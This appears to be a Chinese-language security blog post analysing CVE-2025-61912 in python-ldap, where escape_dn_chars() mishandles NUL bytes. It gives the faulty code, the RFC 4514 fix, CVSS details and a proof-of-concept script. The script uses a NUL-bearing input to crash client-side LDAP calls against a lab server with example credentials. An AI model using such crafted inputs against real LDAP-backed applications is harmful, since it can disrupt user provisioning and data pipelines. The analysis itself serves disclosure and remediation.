Python-LDAP输出编码漏洞解析与修复方案

本文详细分析了python-ldap库中的安全漏洞CVE-2025-61912,该漏洞由于ldap.dn.escape_dn_chars()函数对空字符的错误转义处理,导致客户端拒绝服务攻击风险,影响所有使用该函数处理不可信输入的应用。

Python-LDAP输出编码与空字符终止漏洞分析

漏洞概述

CVE-2025-61912 是一个影响python-ldap库的中等严重性漏洞,涉及输出编码不当和空字符终止处理不当问题。

受影响版本

  • 受影响版本:< 3.4.5
  • 已修复版本:3.4.5

漏洞详情

问题描述

ldap.dn.escape_dn_chars() 函数对 \x00 的转义处理不正确,它发出反斜杠后跟字面NUL字节,而不是RFC-4514要求的十六进制形式 \00。任何使用此辅助函数从不可信输入构建DN的应用程序,都可能在请求发送到LDAP服务器之前一致性地失败,导致客户端拒绝服务。

技术细节

受影响函数ldap.dn.escape_dn_chars(s) 文件Lib/ldap/dn.py

错误行为: 对于NUL字符,函数执行:

1
s = s.replace('\000', '\\\000')  # 反斜杠 + 字面NUL

这会产生包含嵌入式NUL的Python字符串,当传递给python-ldap API(如add_smodify_srename_s或用作搜索基础)时,python-ldap会在任何网络I/O之前抛出ValueError: embedded null character错误。

标准要求

RFC 4514要求特殊字符和控制字符使用十六进制形式进行转义;字面NUL不是有效的DN字符。

修复方案

正确的十六进制转义:

1
s = s.replace('\x00', r'\00')

概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")              # 你的实验DC/LDAP
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")         

# --- 攻击者控制的值包含NUL ---
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== 有问题的DN(包含字面NUL)===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("包含NUL?:", "\x00" in dn, "位置:", dn.find("\x00"))

print("=> add_s(有问题的DN): 预期客户端失败(无服务器联系)")
try:
    l.add_s(dn, attrs)
    print("add_s(有问题): 成功(意外)")
except Exception as e:
    print("add_s(有问题):", type(e).__name__, e)  # ValueError: embedded null character

# --- 正确的十六进制转义演示客户端继续到服务器 ---
safe_dn = dn.replace("\x00", r"\00")                 # RFC 4514兼容
print("\n=== 十六进制转义的DN (\\00) ===")
print("safe_dn repr:", repr(safe_dn))
print("=> 完整性解析:", str2dn(safe_dn))           # 本地解析

print("=> add_s(安全DN): 到达服务器(AD可能以34拒绝)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(安全): 成功(没有必需属性/权限时不太可能)")
except ldap.LDAPError as e:
    print("add_s(安全):", e.__class__.__name__, e)  # 例如,结果34无效DN语法(AD禁止在CN中使用NUL)

观察结果示例

  • add_s(有问题): ValueError embedded null character ← 客户端拒绝服务
  • add_s(安全): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← 请求到达服务器;由于服务器策略拒绝,而非客户端错误

影响评估

类型:拒绝服务(客户端) 受影响对象:任何使用ldap.dn.escape_dn_chars()从(部分)不可信输入构建DN的应用程序——例如,用户创建/重命名工具、同步/ETL作业、允许自助服务属性的门户、设备上线、批量导入等。单个包含\x00的精心构造值可可靠地强制异常/失败,并可能使处理程序崩溃或用毒记录阻塞管道。

参考链接

安全指标

CVSS总体评分: 5.5(中等) CVSS v4基础指标:

  • 攻击向量:网络
  • 攻击复杂性:低
  • 攻击要求:无
  • 所需权限:无
  • 用户交互:无
  • 受影响系统可用性:低

弱点类型:

  • CWE-116:输出编码或转义不当
  • CWE-170:空字符终止不当
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计